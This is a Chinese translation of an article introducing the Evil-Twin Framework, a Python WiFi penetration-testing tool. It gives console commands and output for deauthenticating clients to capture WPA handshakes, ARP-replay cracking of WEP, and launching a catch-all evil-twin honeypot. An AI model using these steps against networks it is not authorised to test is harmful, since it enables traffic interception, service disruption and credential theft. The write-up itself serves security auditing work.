專(zhuān)業(yè) WiFi 滲透測(cè)試工具
了解一款用于對(duì) WiFi 接入點(diǎn)安全進(jìn)行滲透測(cè)試的工具。
-- André Esser
越來(lái)越多的設(shè)備通過(guò)無(wú)線傳輸?shù)姆绞竭B接到互聯(lián)網(wǎng),以及,大范圍可用的 WiFi 接入點(diǎn)為攻擊者攻擊用戶提供了很多機(jī)會(huì)。通過(guò)欺騙用戶連接到 虛假的 WiFi 接入點(diǎn) ,攻擊者可以完全控制用戶的網(wǎng)絡(luò)連接,這將使得攻擊者可以嗅探和篡改用戶的數(shù)據(jù)包,將用戶的連接重定向到一個(gè)惡意的網(wǎng)站,并通過(guò)網(wǎng)絡(luò)發(fā)起其他的攻擊。
為了保護(hù)用戶并告訴他們?nèi)绾伪苊饩€上的危險(xiǎn)操作,安全審計(jì)人員和安全研究員必須評(píng)估用戶的安全實(shí)踐能力,用戶常常在沒(méi)有確認(rèn)該 WiFi 接入點(diǎn)為安全的情況下就連接上了該網(wǎng)絡(luò),安全審計(jì)人員和研究員需要去了解這背后的原因。有很多工具都可以對(duì) WiFi 的安全性進(jìn)行審計(jì),但是沒(méi)有一款工具可以測(cè)試大量不同的攻擊場(chǎng)景,也沒(méi)有能和其他工具集成得很好的工具。
Evil-Twin Framework(ETF)用于解決 WiFi 審計(jì)過(guò)程中的這些問(wèn)題。審計(jì)者能夠使用 ETF 來(lái)集成多種工具并測(cè)試該 WiFi 在不同場(chǎng)景下的安全性。本文會(huì)介紹 ETF 的框架和功能,然后會(huì)提供一些案例來(lái)說(shuō)明該如何使用這款工具。
ETF 的架構(gòu)
ETF 的框架是用 Python 寫(xiě)的,因?yàn)檫@門(mén)開(kāi)發(fā)語(yǔ)言的代碼非常易讀,也方便其他開(kāi)發(fā)者向這個(gè)項(xiàng)目貢獻(xiàn)代碼。除此之外,很多 ETF 的庫(kù),比如 Scapy ,都是為 Python 開(kāi)發(fā)的,很容易就能將它們用于 ETF。
ETF 的架構(gòu)(圖 1)分為不同的彼此交互的模塊。該框架的設(shè)置都寫(xiě)在一個(gè)單獨(dú)的配置文件里。用戶可以通過(guò) ConfigurationManager 類(lèi)里的用戶界面來(lái)驗(yàn)證并修改這些配置。其他模塊只能讀取這些設(shè)置并根據(jù)這些設(shè)置進(jìn)行運(yùn)行。
圖 1:Evil-Twin 的框架架構(gòu)
ETF 支持多種與框架交互的用戶界面,當(dāng)前的默認(rèn)界面是一個(gè)交互式控制臺(tái)界面,類(lèi)似于 Metasploit 那種。正在開(kāi)發(fā)用于桌面/瀏覽器使用的圖形用戶界面(GUI)和命令行界面(CLI),移動(dòng)端界面也是未來(lái)的一個(gè)備選項(xiàng)。用戶可以使用交互式控制臺(tái)界面來(lái)修改配置文件里的設(shè)置(最終會(huì)使用 GUI)。用戶界面可以與存在于這個(gè)框架里的每個(gè)模塊進(jìn)行交互。
WiFi 模塊(AirCommunicator)用于支持多種 WiFi 功能和攻擊類(lèi)型。該框架確定了 Wi-Fi 通信的三個(gè)基本支柱:數(shù)據(jù)包嗅探、自定義數(shù)據(jù)包注入和創(chuàng)建接入點(diǎn)。三個(gè)主要的 WiFi 通信模塊 AirScanner、AirInjector,和 AirHost,分別用于數(shù)據(jù)包嗅探、數(shù)據(jù)包注入,和接入點(diǎn)創(chuàng)建。這三個(gè)類(lèi)被封裝在主 WiFi 模塊 AirCommunicator 中,AirCommunicator 在啟動(dòng)這些服務(wù)之前會(huì)先讀取這些服務(wù)的配置文件。使用這些核心功能的一個(gè)或多個(gè)就可以構(gòu)造任意類(lèi)型的 WiFi 攻擊。
要使用中間人(MITM)攻擊(這是一種攻擊 WiFi 客戶端的常見(jiàn)手法),ETF 有一個(gè)叫做 ETFITM(Evil-Twin Framework-in-the-Middle)的集成模塊,這個(gè)模塊用于創(chuàng)建一個(gè) web 代理,來(lái)攔截和修改經(jīng)過(guò)的 HTTP/HTTPS 數(shù)據(jù)包。
許多其他的工具也可以利用 ETF 創(chuàng)建的 MITM。通過(guò)它的可擴(kuò)展性,ETF 能夠支持它們,而不必單獨(dú)地調(diào)用它們,你可以通過(guò)擴(kuò)展 Spawner 類(lèi)來(lái)將這些工具添加到框架里。這使得開(kāi)發(fā)者和安全審計(jì)人員可以使用框架里預(yù)先配置好的參數(shù)字符來(lái)調(diào)用程序。
擴(kuò)展 ETF 的另一種方法就是通過(guò)插件。有兩類(lèi)插件:WiFi 插件和 MITM 插件。MITM 插件是在 MITM 代理運(yùn)行時(shí)可以執(zhí)行的腳本。代理會(huì)將 HTTP(s) 請(qǐng)求和響應(yīng)傳遞給可以記錄和處理它們的插件。WiFi 插件遵循一個(gè)更加復(fù)雜的執(zhí)行流程,但仍然會(huì)給想?yún)⑴c開(kāi)發(fā)并且使用自己插件的貢獻(xiàn)者提供一個(gè)相對(duì)簡(jiǎn)單的 API。WiFi 插件還可以進(jìn)一步地劃分為三類(lèi),其中每個(gè)對(duì)應(yīng)一個(gè)核心 WiFi 通信模塊。
每個(gè)核心模塊都有一些特定事件能觸發(fā)響應(yīng)的插件的執(zhí)行。舉個(gè)例子,AirScanner 有三個(gè)已定義的事件,可以對(duì)其響應(yīng)進(jìn)行編程處理。事件通常對(duì)應(yīng)于服務(wù)開(kāi)始運(yùn)行之前的設(shè)置階段、服務(wù)正在運(yùn)行時(shí)的中間執(zhí)行階段、服務(wù)完成后的卸載或清理階段。因?yàn)?Python 允許多重繼承,所以一個(gè)插件可以繼承多個(gè)插件類(lèi)。
上面的圖 1 是框架架構(gòu)的摘要。從 ConfigurationManager 指出的箭頭意味著模塊會(huì)從中讀取信息,指向它的箭頭意味著模塊會(huì)寫(xiě)入/修改配置。
使用 ETF 的例子
ETF 可以通過(guò)多種方式對(duì) WiFi 的網(wǎng)絡(luò)安全或者終端用戶的 WiFi 安全意識(shí)進(jìn)行滲透測(cè)試。下面的例子描述了這個(gè)框架的一些滲透測(cè)試功能,例如接入點(diǎn)和客戶端檢測(cè)、對(duì)使用 WPA 和 WEP 類(lèi)型協(xié)議的接入點(diǎn)進(jìn)行攻擊,和創(chuàng)建 evil twin 接入點(diǎn)。
這些例子是使用 ETF 和允許進(jìn)行 WiFi 數(shù)據(jù)捕獲的 WiFi 卡設(shè)計(jì)的。它們也在 ETF 設(shè)置命令中使用了下面這些縮寫(xiě):
- APS Access Point SSID
- APB Access Point BSSID
- APC Access Point Channel
- CM Client MAC address
在實(shí)際的測(cè)試場(chǎng)景中,確保你使用了正確的信息來(lái)替換這些縮寫(xiě)。
在解除認(rèn)證攻擊后捕獲 WPA 四次握手的數(shù)據(jù)包。
這個(gè)場(chǎng)景(圖 2)做了兩個(gè)方面的考慮: 解除認(rèn)證攻擊(de-authentication attack)和捕獲 WPA 四次握手?jǐn)?shù)據(jù)包的可能性。這個(gè)場(chǎng)景從一個(gè)啟用了 WPA/WPA2 的接入點(diǎn)開(kāi)始,這個(gè)接入點(diǎn)有一個(gè)已經(jīng)連上的客戶端設(shè)備(在本例中是一臺(tái)智能手機(jī))。目的是通過(guò)常規(guī)的解除認(rèn)證攻擊(LCTT 譯注:類(lèi)似于 DoS 攻擊)來(lái)讓客戶端斷開(kāi)和 WiFi 的網(wǎng)絡(luò),然后在客戶端嘗試重連的時(shí)候捕獲 WPA 的握手包。重連會(huì)在斷開(kāi)連接后馬上手動(dòng)完成。
圖 2:在解除認(rèn)證攻擊后捕獲 WPA 握手包的場(chǎng)景
在這個(gè)例子中需要考慮的是 ETF 的可靠性。目的是確認(rèn)工具是否一直都能捕獲 WPA 的握手?jǐn)?shù)據(jù)包。每個(gè)工具都會(huì)用來(lái)多次復(fù)現(xiàn)這個(gè)場(chǎng)景,以此來(lái)檢查它們?cè)诓东@ WPA 握手?jǐn)?shù)據(jù)包時(shí)的可靠性。
使用 ETF 來(lái)捕獲 WPA 握手?jǐn)?shù)據(jù)包的方法不止一種。一種方法是使用 AirScanner 和 AirInjector 兩個(gè)模塊的組合;另一種方法是只使用 AirInjector。下面這個(gè)場(chǎng)景是使用了兩個(gè)模塊的組合。
ETF 啟用了 AirScanner 模塊并分析 IEEE 802.11 數(shù)據(jù)幀來(lái)發(fā)現(xiàn) WPA 握手包。然后 AirInjecto 就可以使用解除認(rèn)證攻擊來(lái)強(qiáng)制客戶端斷開(kāi)連接,以進(jìn)行重連。必須在 ETF 上執(zhí)行下面這些步驟才能完成上面的目標(biāo):
- 進(jìn)入 AirScanner 配置模式:config airscanner
- 設(shè)置 AirScanner 不跳信道:config airscanner
- 設(shè)置信道以嗅探經(jīng)過(guò) WiFi 接入點(diǎn)信道的數(shù)據(jù)(APC):set fixed_sniffing_channel = <APC>
- 使用 CredentialSniffer 插件來(lái)啟動(dòng) AirScanner 模塊:start airscanner with credentialsniffer
- 從已嗅探的接入點(diǎn)列表中添加目標(biāo)接入點(diǎn)的 BSSID(APS):add aps where ssid = <APS>
- 啟用 AirInjector 模塊,在默認(rèn)情況下,它會(huì)啟用解除認(rèn)證攻擊:start airinjector
這些簡(jiǎn)單的命令設(shè)置能讓 ETF 在每次測(cè)試時(shí)執(zhí)行成功且有效的解除認(rèn)證攻擊。ETF 也能在每次測(cè)試的時(shí)候捕獲 WPA 的握手?jǐn)?shù)據(jù)包。下面的代碼能讓我們看到 ETF 成功的執(zhí)行情況。
- ███████╗████████╗███████╗
- ██╔════╝╚══██╔══╝██╔════╝
- █████╗ ██║ █████╗
- ██╔══╝ ██║ ██╔══╝
- ███████╗ ██║ ██║
- ╚══════╝ ╚═╝ ╚═╝
- [+] Do you want to load an older session? [Y/n]: n
- [+] Creating new temporary session on 02/08/2018
- [+] Enter the desired session name:
- ETF[etf/aircommunicator/]::> config airscanner
- ETF[etf/aircommunicator/airscanner]::> listargs
- sniffing_interface = wlan1; (var)
- probes = True; (var)
- beacons = True; (var)
- hop_channels = false; (var)
- fixed_sniffing_channel = 11; (var)
- ETF[etf/aircommunicator/airscanner]::> start airscanner with
- arpreplayer caffelatte credentialsniffer packetlogger selfishwifi
- ETF[etf/aircommunicator/airscanner]::> start airscanner with credentialsniffer
- [+] Successfully added credentialsniffer plugin.
- [+] Starting packet sniffer on interface 'wlan1'
- [+] Set fixed channel to 11
- ETF[etf/aircommunicator/airscanner]::> add aps where ssid = CrackWPA
- ETF[etf/aircommunicator/airscanner]::> start airinjector
- ETF[etf/aircommunicator/airscanner]::> [+] Starting deauthentication attack
- - 1000 bursts of 1 packets
- - 1 different packets
- [+] Injection attacks finished executing.
- [+] Starting post injection methods
- [+] Post injection methods finished
- [+] WPA Handshake found for client '70:3e:ac:bb:78:64' and network 'CrackWPA'
使用 ARP 重放攻擊并破解 WEP 無(wú)線網(wǎng)絡(luò)
下面這個(gè)場(chǎng)景(圖 3)將關(guān)注 地址解析協(xié)議 (ARP)重放攻擊的效率和捕獲包含初始化向量(IVs)的 WEP 數(shù)據(jù)包的速度。相同的網(wǎng)絡(luò)可能需要破解不同數(shù)量的捕獲的 IVs,所以這個(gè)場(chǎng)景的 IVs 上限是 50000。如果這個(gè)網(wǎng)絡(luò)在首次測(cè)試期間,還未捕獲到 50000 IVs 就崩潰了,那么實(shí)際捕獲到的 IVs 數(shù)量會(huì)成為這個(gè)網(wǎng)絡(luò)在接下來(lái)的測(cè)試?yán)锏男碌纳舷蕖N覀兪褂?aircrack-ng 對(duì)數(shù)據(jù)包進(jìn)行破解。
測(cè)試場(chǎng)景從一個(gè)使用 WEP 協(xié)議進(jìn)行加密的 WiFi 接入點(diǎn)和一臺(tái)知道其密鑰的離線客戶端設(shè)備開(kāi)始 —— 為了測(cè)試方便,密鑰使用了 12345,但它可以是更長(zhǎng)且更復(fù)雜的密鑰。一旦客戶端連接到了 WEP 接入點(diǎn),它會(huì)發(fā)送一個(gè)不必要的 ARP 數(shù)據(jù)包;這是要捕獲和重放的數(shù)據(jù)包。一旦被捕獲的包含 IVs 的數(shù)據(jù)包數(shù)量達(dá)到了設(shè)置的上限,測(cè)試就結(jié)束了。
圖 3:在進(jìn)行解除認(rèn)證攻擊后捕獲 WPA 握手包的場(chǎng)景
ETF 使用 Python 的 Scapy 庫(kù)來(lái)進(jìn)行包嗅探和包注入。為了最大限度地解決 Scapy 里的已知的性能問(wèn)題,ETF 微調(diào)了一些低級(jí)庫(kù),來(lái)大大加快包注入的速度。對(duì)于這個(gè)特定的場(chǎng)景,ETF 為了更有效率地嗅探,使用了 tcpdump 作為后臺(tái)進(jìn)程而不是 Scapy,Scapy 用于識(shí)別加密的 ARP 數(shù)據(jù)包。
這個(gè)場(chǎng)景需要在 ETF 上執(zhí)行下面這些命令和操作:
- 進(jìn)入 AirScanner 設(shè)置模式:config airscanner
- 設(shè)置 AirScanner 不跳信道:set hop_channels = false
- 設(shè)置信道以嗅探經(jīng)過(guò)接入點(diǎn)信道的數(shù)據(jù)(APC):set fixed_sniffing_channel = <APC>
- 進(jìn)入 ARPReplayer 插件設(shè)置模式:config arpreplayer
- 設(shè)置 WEP 網(wǎng)絡(luò)目標(biāo)接入點(diǎn)的 BSSID(APB):set target_ap_bssid <APB>
- 使用 ARPReplayer 插件啟動(dòng) AirScanner 模塊:start airscanner with arpreplayer
在執(zhí)行完這些命令后,ETF 會(huì)正確地識(shí)別加密的 ARP 數(shù)據(jù)包,然后成功執(zhí)行 ARP 重放攻擊,以此破壞這個(gè)網(wǎng)絡(luò)。
使用一款全能型蜜罐
圖 4 中的場(chǎng)景使用相同的 SSID 創(chuàng)建了多個(gè)接入點(diǎn),對(duì)于那些可以探測(cè)到但是無(wú)法接入的 WiFi 網(wǎng)絡(luò),這個(gè)技術(shù)可以發(fā)現(xiàn)網(wǎng)絡(luò)的加密類(lèi)型。通過(guò)啟動(dòng)具有所有安全設(shè)置的多個(gè)接入點(diǎn),客戶端會(huì)自動(dòng)連接和本地緩存的接入點(diǎn)信息相匹配的接入點(diǎn)。
圖 4:在解除認(rèn)證攻擊后捕獲 WPA 握手包數(shù)據(jù)。
使用 ETF,可以去設(shè)置 hostapd 配置文件,然后在后臺(tái)啟動(dòng)該程序。hostapd 支持在一張無(wú)線網(wǎng)卡上通過(guò)設(shè)置虛擬接口開(kāi)啟多個(gè)接入點(diǎn),并且因?yàn)樗С炙蓄?lèi)型的安全設(shè)置,因此可以設(shè)置完整的全能蜜罐。對(duì)于使用 WEP 和 WPA(2)-PSK 的網(wǎng)絡(luò),使用默認(rèn)密碼,和對(duì)于使用 WPA(2)-EAP 的網(wǎng)絡(luò),配置“全部接受”策略。
對(duì)于這個(gè)場(chǎng)景,必須在 ETF 上執(zhí)行下面的命令和操作:
- 進(jìn)入 APLauncher 設(shè)置模式:config aplauncher
- 設(shè)置目標(biāo)接入點(diǎn)的 SSID(APS):set ssid = <APS>
- 設(shè)置 APLauncher 為全部接收的蜜罐:set catch_all_honeypot = true
- 啟動(dòng) AirHost 模塊:start airhost
使用這些命令,ETF 可以啟動(dòng)一個(gè)包含所有類(lèi)型安全配置的完整全能蜜罐。ETF 同樣能自動(dòng)啟動(dòng) DHCP 和 DNS 服務(wù)器,從而讓客戶端能與互聯(lián)網(wǎng)保持連接。ETF 提供了一個(gè)更好、更快、更完整的解決方案來(lái)創(chuàng)建全能蜜罐。下面的代碼能夠看到 ETF 的成功執(zhí)行。
- ███████╗████████╗███████╗
- ██╔════╝╚══██╔══╝██╔════╝
- █████╗ ██║ █████╗
- ██╔══╝ ██║ ██╔══╝
- ███████╗ ██║ ██║
- ╚══════╝ ╚═╝ ╚═╝
- [+] Do you want to load an older session? [Y/n]: n
- [+] Creating ne´,cxzw temporary session on 03/08/2018
- [+] Enter the desired session name:
- ETF[etf/aircommunicator/]::> config aplauncher
- ETF[etf/aircommunicator/airhost/aplauncher]::> setconf ssid CatchMe
- ssid = CatchMe
- ETF[etf/aircommunicator/airhost/aplauncher]::> setconf catch_all_honeypot true
- catch_all_honeypot = true
- ETF[etf/aircommunicator/airhost/aplauncher]::> start airhost
- [+] Killing already started processes and restarting network services
- [+] Stopping dnsmasq and hostapd services
- [+] Access Point stopped...
- [+] Running airhost plugins pre_start
- [+] Starting hostapd background process
- [+] Starting dnsmasq service
- [+] Running airhost plugins post_start
- [+] Access Point launched successfully
- [+] Starting dnsmasq service
結(jié)論和以后的工作
這些場(chǎng)景使用常見(jiàn)和眾所周知的攻擊方式來(lái)幫助驗(yàn)證 ETF 測(cè)試 WIFI 網(wǎng)絡(luò)和客戶端的能力。這個(gè)結(jié)果同樣證明了該框架的架構(gòu)能在平臺(tái)現(xiàn)有功能的優(yōu)勢(shì)上開(kāi)發(fā)新的攻擊向量和功能。這會(huì)加快新的 WiFi 滲透測(cè)試工具的開(kāi)發(fā),因?yàn)楹芏嗟拇a已經(jīng)寫(xiě)好了。除此之外,將 WiFi 技術(shù)相關(guān)的東西都集成到一個(gè)單獨(dú)的工具里,會(huì)使 WiFi 滲透測(cè)試更加簡(jiǎn)單高效。
ETF 的目標(biāo)不是取代現(xiàn)有的工具,而是為它們提供補(bǔ)充,并為安全審計(jì)人員在進(jìn)行 WiFi 滲透測(cè)試和提升用戶安全意識(shí)時(shí),提供一個(gè)更好的選擇。
ETF 是 GitHub 上的一個(gè)開(kāi)源項(xiàng)目,歡迎社區(qū)為它的開(kāi)發(fā)做出貢獻(xiàn)。下面是一些您可以提供幫助的方法。
當(dāng)前 WiFi 滲透測(cè)試的一個(gè)限制是無(wú)法在測(cè)試期間記錄重要的事件。這使得報(bào)告已經(jīng)識(shí)別到的漏洞更加困難且準(zhǔn)確性更低。這個(gè)框架可以實(shí)現(xiàn)一個(gè)記錄器,每個(gè)類(lèi)都可以來(lái)訪問(wèn)它并創(chuàng)建一個(gè)滲透測(cè)試會(huì)話報(bào)告。
ETF 工具的功能涵蓋了 WiFi 滲透測(cè)試的方方面面。一方面,它讓 WiFi 目標(biāo)偵察、漏洞挖掘和攻擊這些階段變得更加容易。另一方面,它沒(méi)有提供一個(gè)便于提交報(bào)告的功能。增加了會(huì)話的概念和會(huì)話報(bào)告的功能,比如在一個(gè)會(huì)話期間記錄重要的事件,會(huì)極大地增加這個(gè)工具對(duì)于真實(shí)滲透測(cè)試場(chǎng)景的價(jià)值。
另一個(gè)有價(jià)值的貢獻(xiàn)是擴(kuò)展該框架來(lái)促進(jìn) WiFi 模糊測(cè)試。IEEE 802.11 協(xié)議非常的復(fù)雜,考慮到它在客戶端和接入點(diǎn)兩方面都會(huì)有多種實(shí)現(xiàn)方式??梢约僭O(shè)這些實(shí)現(xiàn)都包含 bug 甚至是安全漏洞。這些 bug 可以通過(guò)對(duì) IEEE 802.11 協(xié)議的數(shù)據(jù)幀進(jìn)行模糊測(cè)試來(lái)進(jìn)行發(fā)現(xiàn)。因?yàn)?Scapy 允許自定義的數(shù)據(jù)包創(chuàng)建和數(shù)據(jù)包注入,可以通過(guò)它實(shí)現(xiàn)一個(gè)模糊測(cè)試器。